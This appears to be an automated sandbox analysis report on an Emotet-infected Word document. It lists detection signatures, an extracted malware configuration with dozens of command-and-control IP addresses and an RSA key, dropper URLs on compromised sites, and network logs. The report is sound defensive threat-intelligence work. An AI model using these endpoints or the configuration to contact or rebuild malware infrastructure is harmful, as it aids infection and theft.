Analysis Report ARCHIVOFile-20-012021.doc

Overview

General Information

Sample Name: ARCHIVOFile-20-012021.doc
Analysis ID: 344894
MD5: d4829a31da294d0ee8f9f67bc1352bd2
SHA1: 70601272023fd5285194c68da776708508524d50
SHA256: 4fc909106f65c1ca7c9073743cbc8a7513a4ce7ae3d04e38bd01847e96aaf9f5

Most interesting Screenshot:

Detection

Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
C2 URLs / IPs found in malware configuration
Creates processes via WMI
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Document contains an embedded VBA with many randomly named variables
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Machine Learning detection for dropped file
Obfuscated command line found
Potential dropper URLs found in powershell memory
Powershell drops PE file
Sigma detected: Suspicious Call by Ordinal
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Abnormal high CPU Usage
Adds / modifies Windows certificates
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Antivirus or Machine Learning detection for unpacked file
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Document has an unknown application name
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Drops certificate files (DER)
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: https://norailya.com/drupal/retAl/ Avira URL Cloud: Label: malware
Source: https://www.teelekded.com/cgi-bin/LPo/ Avira URL Cloud: Label: malware
Source: http://calledtochange.org/CalledtoChange/8huSOd/ Avira URL Cloud: Label: malware
Source: https://ummahstars.com/app_old_may_2018/assets/wDL8x/ Avira URL Cloud: Label: malware
Source: https://hbprivileged.com/cgi-bin/Qg/ Avira URL Cloud: Label: malware
Source: https://www.teelekded.com/cgi-bin/LPo/P Avira URL Cloud: Label: malware
Found malware configuration
Source: 16.2.rundll32.exe.1d0000.1.unpack Malware Configuration Extractor: Emotet {"C2 list": ["84.232.229.24:80", "51.255.203.164:8080", "217.160.169.110:8080", "51.15.7.145:80", "177.85.167.10:80", "186.177.174.163:80", "190.114.254.163:8080", "185.183.16.47:80", "149.202.72.142:7080", "181.30.61.163:443", "31.27.59.105:80", "50.28.51.143:8080", "68.183.190.199:8080", "85.214.26.7:8080", "137.74.106.111:7080", "200.75.39.254:80", "85.105.239.184:443", "190.45.24.210:80", "170.81.48.2:80", "109.101.137.162:8080", "110.39.160.38:443", "110.39.162.2:443", "91.233.197.70:80", "51.255.165.160:8080", "213.52.74.198:80", "12.162.84.2:8080", "82.208.146.142:7080", "60.93.23.51:80", "172.245.248.239:8080", "104.131.41.185:8080", "93.149.120.214:80", "81.214.253.80:443", "190.247.139.101:80", "46.105.114.137:8080", "70.32.115.157:8080", "202.134.4.210:7080", "212.71.237.140:8080", "177.23.7.151:80", "111.67.12.221:8080", "197.232.36.108:80", "190.162.232.138:80", "80.15.100.37:80", "95.76.153.115:80", "154.127.113.242:80", "188.225.32.231:7080", "5.196.35.138:7080", "211.215.18.93:8080", "46.101.58.37:8080", "82.48.39.246:80", "181.10.46.92:80", "190.251.216.100:80", "187.162.248.237:80", "191.223.36.170:80", "138.197.99.250:8080", "201.48.121.65:443", "78.206.229.130:80", "190.210.246.253:80", "68.183.170.114:8080", "87.106.46.107:8080", "122.201.23.45:443", "70.32.84.74:8080", "143.0.85.206:7080", "190.64.88.186:443", "217.13.106.14:8080", "93.146.143.191:80", "188.135.15.49:80", "178.211.45.66:8080", "138.97.60.141:7080", "81.17.93.134:80", "83.169.21.32:7080", "152.231.89.226:80", "80.249.176.206:80", "178.250.54.208:8080", "206.189.232.2:8080", "46.43.2.95:8080", "190.24.243.186:80", "105.209.235.113:8080", "62.84.75.50:80", "152.170.79.100:80", "209.236.123.42:8080", "185.94.252.27:443", "12.163.208.58:80", "152.169.22.67:80", "1.226.84.243:8080", "191.241.233.198:80", "94.176.234.118:443", "209.33.120.130:80", "45.16.226.117:443", "81.215.230.173:443", "172.104.169.32:8080", "201.185.69.28:443", "167.71.148.58:443", "192.175.111.212:7080"], "RSA Public Key": "MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAOZ9fLJ8UrI0OZURpPsR3eijAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzD0nlCFHOo7Zf8/4wY2UW0CJ4dJEHnE/PHlz\n6uNk3pxjm7o4eCDyiJbzf+k0Azjl0q54FQIDAQAB"}
Multi AV Scanner detection for domain / URL
Source: hbprivileged.com Virustotal: Detection: 7% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll Metadefender: Detection: 45% Perma Link
Source: C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll ReversingLabs: Detection: 85%
Multi AV Scanner detection for submitted file
Source: ARCHIVOFile-20-012021.doc Virustotal: Detection: 48% Perma Link
Source: ARCHIVOFile-20-012021.doc ReversingLabs: Detection: 50%
Machine Learning detection for dropped file
Source: C:\Users\user\Vlj0ta0\Mtkd4y0\O8_N.dll Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 10.2.rundll32.exe.6a0000.0.unpack Avira: Label: TR/ATRAPS.Gen

Compliance:

barindex
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 177.12.170.95:443 -> 192.168.2.22:49167 version: TLS 1.0
Source: unknown HTTPS traffic detected: 35.163.191.195:443 -> 192.168.2.22:49174 version: TLS 1.0
Uses new MSVCR Dlls
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Binary contains paths to debug symbols
Source: Binary string: mscorlib.pdb` source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: ws\mscorlib.pdbpdblib.pdbO source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: mscorlib.pdb source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.pdbE source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: scorlib.pdb source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\mscorlib.pdb source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2107891055.0000000002820000.00000002.00000001.sdmp
Source: Binary string: C:\Windows\mscorlib.pdbles AA source: powershell.exe, 00000005.00000002.2102701692.0000000001F27000.00000004.00000040.sdmp
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: riandutra.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 177.12.170.95:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 191.6.196.95:80

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2404344 ET CNC Feodo Tracker Reported CnC Server TCP group 23 192.168.2.22:49175 -> 84.232.229.24:80
Source: Traffic Snort IDS: 2404334 ET CNC Feodo Tracker Reported CnC Server TCP group 18 192.168.2.22:49176 -> 51.255.203.164:8080
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor IPs: 84.232.229.24:80
Source: Malware configuration extractor IPs: 51.255.203.164:8080
Source: Malware configuration extractor IPs: 217.160.169.110:8080
Source: Malware configuration extractor IPs: 51.15.7.145:80
Source: Malware configuration extractor IPs: 177.85.167.10:80
Source: Malware configuration extractor IPs: 186.177.174.163:80
Source: Malware configuration extractor IPs: 190.114.254.163:8080
Source: Malware configuration extractor IPs: 185.183.16.47:80
Source: Malware configuration extractor IPs: 149.202.72.142:7080
Source: Malware configuration extractor IPs: 181.30.61.163:443
Source: Malware configuration extractor IPs: 31.27.59.105:80
Source: Malware configuration extractor IPs: 50.28.51.143:8080
Source: Malware configuration extractor IPs: 68.183.190.199:8080
Source: Malware configuration extractor IPs: 85.214.26.7:8080
Source: Malware configuration extractor IPs: 137.74.106.111:7080
Source: Malware configuration extractor IPs: 200.75.39.254:80
Source: Malware configuration extractor IPs: 85.105.239.184:443
Source: Malware configuration extractor IPs: 190.45.24.210:80
Source: Malware configuration extractor IPs: 170.81.48.2:80
Source: Malware configuration extractor IPs: 109.101.137.162:8080
Source: Malware configuration extractor IPs: 110.39.160.38:443
Source: Malware configuration extractor IPs: 110.39.162.2:443
Source: Malware configuration extractor IPs: 91.233.197.70:80
Source: Malware configuration extractor IPs: 51.255.165.160:8080
Source: Malware configuration extractor IPs: 213.52.74.198:80
Source: Malware configuration extractor IPs: 12.162.84.2:8080
Source: Malware configuration extractor IPs: 82.208.146.142:7080
Source: Malware configuration extractor IPs: 60.93.23.51:80
Source: Malware configuration extractor IPs: 172.245.248.239:8080
Source: Malware configuration extractor IPs: 104.131.41.185:8080
Source: Malware configuration extractor IPs: 93.149.120.214:80
Source: Malware configuration extractor IPs: 81.214.253.80:443
Source: Malware configuration extractor IPs: 190.247.139.101:80
Source: Malware configuration extractor IPs: 46.105.114.137:8080
Source: Malware configuration extractor IPs: 70.32.115.157:8080
Source: Malware configuration extractor IPs: 202.134.4.210:7080
Source: Malware configuration extractor IPs: 212.71.237.140:8080
Source: Malware configuration extractor IPs: 177.23.7.151:80
Source: Malware configuration extractor IPs: 111.67.12.221:8080
Source: Malware configuration extractor IPs: 197.232.36.108:80
Source: Malware configuration extractor IPs: 190.162.232.138:80
Source: Malware configuration extractor IPs: 80.15.100.37:80
Source: Malware configuration extractor IPs: 95.76.153.115:80
Source: Malware configuration extractor IPs: 154.127.113.242:80
Source: Malware configuration extractor IPs: 188.225.32.231:7080
Source: Malware configuration extractor IPs: 5.196.35.138:7080
Source: Malware configuration extractor IPs: 211.215.18.93:8080
Source: Malware configuration extractor IPs: 46.101.58.37:8080
Source: Malware configuration extractor IPs: 82.48.39.246:80
Source: Malware configuration extractor IPs: 181.10.46.92:80
Source: Malware configuration extractor IPs: 190.251.216.100:80
Source: Malware configuration extractor IPs: 187.162.248.237:80
Source: Malware configuration extractor IPs: 191.223.36.170:80
Source: Malware configuration extractor IPs: 138.197.99.250:8080
Source: Malware configuration extractor IPs: 201.48.121.65:443
Source: Malware configuration extractor IPs: 78.206.229.130:80
Source: Malware configuration extractor IPs: 190.210.246.253:80
Source: Malware configuration extractor IPs: 68.183.170.114:8080
Source: Malware configuration extractor IPs: 87.106.46.107:8080
Source: Malware configuration extractor IPs: 122.201.23.45:443
Source: Malware configuration extractor IPs: 70.32.84.74:8080
Source: Malware configuration extractor IPs: 143.0.85.206:7080
Source: Malware configuration extractor IPs: 190.64.88.186:443
Source: Malware configuration extractor IPs: 217.13.106.14:8080
Source: Malware configuration extractor IPs: 93.146.143.191:80
Source: Malware configuration extractor IPs: 188.135.15.49:80
Source: Malware configuration extractor IPs: 178.211.45.66:8080
Source: Malware configuration extractor IPs: 138.97.60.141:7080
Source: Malware configuration extractor IPs: 81.17.93.134:80
Source: Malware configuration extractor IPs: 83.169.21.32:7080
Source: Malware configuration extractor IPs: 152.231.89.226:80
Source: Malware configuration extractor IPs: 80.249.176.206:80
Source: Malware configuration extractor IPs: 178.250.54.208:8080
Source: Malware configuration extractor IPs: 206.189.232.2:8080
Source: Malware configuration extractor IPs: 46.43.2.95:8080
Source: Malware configuration extractor IPs: 190.24.243.186:80
Source: Malware configuration extractor IPs: 105.209.235.113:8080
Source: Malware configuration extractor IPs: 62.84.75.50:80
Source: Malware configuration extractor IPs: 152.170.79.100:80
Source: Malware configuration extractor IPs: 209.236.123.42:8080
Source: Malware configuration extractor IPs: 185.94.252.27:443
Source: Malware configuration extractor IPs: 12.163.208.58:80
Source: Malware configuration extractor IPs: 152.169.22.67:80
Source: Malware configuration extractor IPs: 1.226.84.243:8080
Source: Malware configuration extractor IPs: 191.241.233.198:80
Source: Malware configuration extractor IPs: 94.176.234.118:443
Source: Malware configuration extractor IPs: 209.33.120.130:80
Source: Malware configuration extractor IPs: 45.16.226.117:443
Source: Malware configuration extractor IPs: 81.215.230.173:443
Source: Malware configuration extractor IPs: 172.104.169.32:8080
Source: Malware configuration extractor IPs: 201.185.69.28:443
Source: Malware configuration extractor IPs: 167.71.148.58:443
Source: Malware configuration extractor IPs: 192.175.111.212:7080
Potential dropper URLs found in powershell memory
Source: powershell.exe, 00000005.00000002.2111959745.000000001CC80000.00000002.00000001.sdmp String found in memory: Autoplay,http://go.microsoft.com/fwlink/?LinkId=30564-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=145764-http://go.microsoft.com/fwlink/?LinkId=131536-http://go.microsoft.com/fwlink/?LinkId=131535+http://go.microsoft.com/fwlink/?LinkId=8430
Source: powershell.exe, 00000005.00000002.2111959745.000000001CC80000.00000002.00000001.sdmp String found in memory: PRODUCT_KEY_PROBLEMS$ACTIVATION_TYPE_KEY_FIND_PRODUCT_KEY)ACTIVATION_TYPE_DIFF_KEY_FIND_PRODUCT_KEY+ACTIVATION_CHNG_TO_LICENSE_FIND_PRODUCT_KEYPA,ACTIVATION_PERIOD_EXPIRED_WHAT_IS_ACTIVATION-ACTIVATION_LICENSE_EXPIRED_WHAT_IS_ACTIVATION,ACTIVATION_LICENSE_EXPIRED_PRIVACY_STATEMENTPA,http://go.microsoft.com/fwlink/?LinkID=90983-http://go.microsoft.com/fwlink/?LinkId=123784PA$E77344FA-E978-464C-953E-EBA44F0522670ACTIVATION_ERROR_INSTALLING_REINSTALLING_WINDOWS$f3b8150b-0bd1-4fec-8283-7a1dd45c16377ACTIVATION_ERROR_REINSTALL_WINDOWS_CREATE_RESTORE_POINTPA-http://go.microsoft.com/fwlink/?LinkId=100109-http://go.microsoft.com/fwlink/?LinkId=100096-http://go.microsoft.com/fwlink/?LinkId=120830-http://go.microsoft.com/fwlink/?LinkId=120831,http://go.microsoft.com/fwlink/?LinkId=89429
Source: powershell.exe, 00000005.00000002.2112096741.000000001CE67000.00000002.00000001.sdmp String found in memory: Ease of Access Centero<a href="http://go.microsoft.com/fwlink/?linkid=63345">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63353">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63363">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63367">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63370">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63373">Learn about additional assistive technologies online</a>o<a href="http://go.microsoft.com/fwlink/?linkid=63376">Learn about additional assistive technologies online</a>PA!Make your computer easier to use.BGet recommendations to make your computer easier to use (eyesight)CGet recommendations to make your computer easier to use (dexterity)AGet recommendations to make your computer easier to use (hearing)
Source: powershell.exe, 00000005.00000002.2112096741.000000001CE67000.00000002.00000001.sdmp String found in memory: Get recommendations to make your computer easier to use (speech)CGet recommendations to make your computer easier to use (cognitive)"Use the computer without a display
Source: powershell.exe, 00000005.00000002.2112096741.000000001CE67000.00000002.00000001.sdmp String found in memory: normal/http://images.metaservices.microsoft.com/cover/6http://redir.metaservices.microsoft.com/redir/buynow/?1http://redir.metaservices.microsoft.com/dvdcover/PA6http://redir.metaservices.microsoft.com/redir/buynow/?,http://windowsmedia.com/redir/findmedia.asp?9http://redir.metaservices.microsoft.com/redir/getmdrdvd/?8http://redir.metaservices.microsoft.com/redir/getmdrcd/?Bhttp://redir.metaservices.microsoft.com/redir/getmdrcdbackground/??http://redir.metaservices.microsoft.com/redir/getmdrcdposturl/?Ihttp://redir.metaservices.microsoft.com/redir/getmdrcdposturlbackground/?=http://redir.metaservices.microsoft.com/redir/getdaiposturl/?:http://redir.metaservices.microsoft.com/redir/daifailure/?
Source: powershell.exe, 00000005.00000002.2112096741.000000001CE67000.00000002.00000001.sdmp String found in memory: Microsoft Corporation/(C) Microsoft Corporation. All rights reserved.9http://redir.metaservices.microsoft.com/redir/submittoc/?-http://windowsmedia.com/redir/QueryTOCExt.asp1res://wmploc.dll/Offline_MediaInfo_NowPlaying.htm7http://redir.metaservices.microsoft.com/redir/buynowmg/,http://windowsmedia.com/redir/buyticket9.asp)http://windowsmedia.com/redir/IDPPage.asp)http://windowsmedia.com/redir/IDPLogo.asp
Source: powershell.exe, 00000005.00000002.2112096741.000000001CE67000.00000002.00000001.sdmp String found in memory: AMG Rating: %s stars:http://redir.metaservices.microsoft.com/redir/mediaguide/?9http://redir.metaservices.microsoft.com/redir/radiotuner/,http://windowsmedia.com/redir/QueryTOCNP.asp#Show Video and Visualization Window9http://redir.metaservices.microsoft.com/redir/dvddetails/9http://redir.metaservices.microsoft.com/redir/dvdwizard/?PA
Source: powershell.exe, 00000005.00000002.2112096741.000000001CE67000.00000002.00000001.sdmp String found in memory: Do you want to switch to it now?
Source: powershell.exe, 00000005.00000002.2112096741.000000001CE67000.00000002.00000001.sdmp String found in memory: http://www.microsoft.com/windows/windowsmedia/musicservices.aspx?http://redir.metaservices.microsoft.com/redir/allservices/?sv=2?http://redir.metaservices.microsoft.com/redir/allservices/?sv=3?http://redir.metaservices.microsoft.com/redir/allservices/?sv=5PA
Source: powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in memory: http://riandutra.com/email/AfhE8z0/
Source: powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in memory: http://calledtochange.org/CalledtoChange/8huSOd/
Source: powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in memory: https://mrveggy.com/wp-admin/n/
Source: powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in memory: https://norailya.com/drupal/retAl/
Source: powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in memory: https://hbprivileged.com/cgi-bin/Qg/
Source: powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in memory: https://ummahstars.com/app_old_may_2018/assets/wDL8x/
Source: powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in memory: https://www.teelekded.com/cgi-bin/LPo/
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.22:49176 -> 51.255.203.164:8080
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /email/AfhE8z0/ HTTP/1.1Host: riandutra.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /CalledtoChange/8huSOd/ HTTP/1.1Host: calledtochange.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 191.6.196.95 191.6.196.95
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: IPV6InternetLtdaBR IPV6InternetLtdaBR
Source: Joe Sandbox View ASN Name: CRYSTALTECHUS CRYSTALTECHUS
Source: Joe Sandbox View ASN Name: OVHFR OVHFR
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 177.12.170.95:443 -> 192.168.2.22:49167 version: TLS 1.0
Source: unknown HTTPS traffic detected: 35.163.191.195:443 -> 192.168.2.22:49174 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 84.232.229.24
Source: unknown TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: unknown TCP traffic detected without corresponding DNS query: 51.255.203.164
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A5D6EDBE-EB6B-4CC4-8C38-663EBE143117}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /email/AfhE8z0/ HTTP/1.1Host: riandutra.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /CalledtoChange/8huSOd/ HTTP/1.1Host: calledtochange.orgConnection: Keep-Alive
Source: powershell.exe, 00000005.00000002.2111959745.000000001CC80000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2116032570.0000000001B70000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2113937687.0000000001F10000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2124432058.0000000001D10000.00000002.00000001.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: powershell.exe, 00000005.00000002.2102409234.000000000029B000.00000004.00000020.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: unknown DNS traffic detected: queries for: riandutra.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 27 Jan 2021 11:17:36 GMTServer: ApacheContent-Length: 315Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: powershell.exe, 00000005.00000003.2101956374.000000001B5FD000.00000004.00000001.sdmp String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: powershell.exe, 00000005.00000002.2108073552.0000000002C95000.00000004.00000001.sdmp String found in binary or memory: http://calledtochange.org
Source: powershell.exe, 00000005.00000002.2108073552.0000000002C95000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2110898190.0000000003A89000.00000004.00000001.sdmp String found in binary or memory: http://calledtochange.org/CalledtoChange/8huSOd/
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: http://certificates.godaddy.com/repository/0
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: http://certificates.godaddy.com/repository/gdig2.crt0
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: http://certs.godaddy.com/repository/1301
Source: powershell.exe, 00000005.00000003.2101956374.000000001B5FD000.00000004.00000001.sdmp String found in binary or memory: http://cps.letsencrypt.org0
Source: powershell.exe, 00000005.00000003.2101956374.000000001B5FD000.00000004.00000001.sdmp String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: powershell.exe, 00000005.00000003.2102092441.000000001B63D000.00000004.00000001.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000005.00000002.2111861620.000000001B61E000.00000004.00000001.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000005.00000003.2102092441.000000001B63D000.00000004.00000001.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000005.00000002.2111878141.000000001B64C000.00000004.00000001.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: http://crl.godaddy.com/gdig2s1-1814.crl0
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: http://crl.godaddy.com/gdroot-g2.crl0F
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: http://crl.godaddy.com/gdroot.crl0F
Source: powershell.exe, 00000005.00000003.2101956374.000000001B5FD000.00000004.00000001.sdmp String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: powershell.exe, 00000005.00000002.2111861620.000000001B61E000.00000004.00000001.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000005.00000003.2101978050.000000001B631000.00000004.00000001.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: powershell.exe, 00000005.00000003.2092182578.000000001D0FC000.00000004.00000001.sdmp String found in binary or memory: http://crl.use
Source: powershell.exe, 00000005.00000002.2109037300.0000000003190000.00000004.00000001.sdmp String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: powershell.exe, 00000005.00000002.2102387342.0000000000274000.00000004.00000020.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: powershell.exe, 00000005.00000003.2101935876.000000001D06A000.00000004.00000001.sdmp, powershell.exe, 00000005.00000003.2101956374.000000001B5FD000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2111811084.000000001B582000.00000004.00000001.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
